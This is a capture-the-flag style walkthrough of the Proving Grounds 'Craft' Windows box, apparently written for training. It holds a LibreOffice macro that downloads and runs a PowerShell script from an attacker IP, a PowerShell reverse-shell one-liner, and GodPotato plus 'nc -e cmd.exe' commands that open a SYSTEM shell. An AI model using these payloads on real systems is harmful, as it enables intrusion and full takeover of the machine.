Craft — Proving Grounds (192.168.105.169)

export target=192.168.105.169

#proving grounds#pg#walkthrough#boxes#os:windows#os:linux#tech:rce

Craft — Proving Grounds (192.168.105.169)

Port Enumeration

🐺 howlsec@kalishell

$export target=192.168.105.169
$sudo nmap -Pn -n $target -sC -sV -p- --open
$80/tcp open  http  Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7) - "Craft"

Web (80)

🐺 howlsec@kalishell

$feroxbuster -u http://$target/ -w /usr/share/dirb/wordlists/big.txt -r -t 15 -C 404,500
$# Interesting: /upload.php, /uploads/, /phpmyadmin (403)
$nikto -h http://$target

The Projects page has an "Upload" button for a resume. A plain PHP reverse shell upload was rejected. Renaming to .odt was accepted but yielded no shell — so weaponize an ODT with a LibreOffice macro instead.

Foothold: malicious ODT macro

Create a document in LibreOffice, then Tools > Macros > Organize Macros > Basic, and add a macro to Module1:

🐺 howlsec@kalibasic

01REM  *****  BASIC  *****
02Sub Main
03    Shell("cmd /c powershell iwr http://192.168.45.203:80/offsec.ps1 -o C:/Windows/Tasks/offsec.ps1")
04    Shell("cmd /c powershell -c C:/Windows/Tasks/offsec.ps1")
05End Sub

Assign the macro to the "Open Document" event (Tools > Customize > Events), save as offsec.odt. Host a PowerShell reverse shell as offsec.ps1:

🐺 howlsec@kalipowershell

$$TCPClient = New-Object Net.Sockets.TCPClient('192.168.45.203', 443); ... (standard revshell.com PS one-liner)

Upload offsec.odt and catch the shell as thecybergeek. First flag is on thecybergeek's Desktop.

Privesc: SeImpersonatePrivilege -> GodPotato

PowerUp/Sherlock found nothing usable, but the user has SeImpersonatePrivilege:

🐺 howlsec@kalipowershell

$powershell iwr -uri http://192.168.45.198/GodPotato-NET4.exe -Outfile GodPotato-NET4.exe
$powershell iwr -uri http://192.168.45.198/nc.exe -Outfile nc.exe
$GodPotato-NET4.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.45.198 443"
$# -> NT AUTHORITY\SYSTEM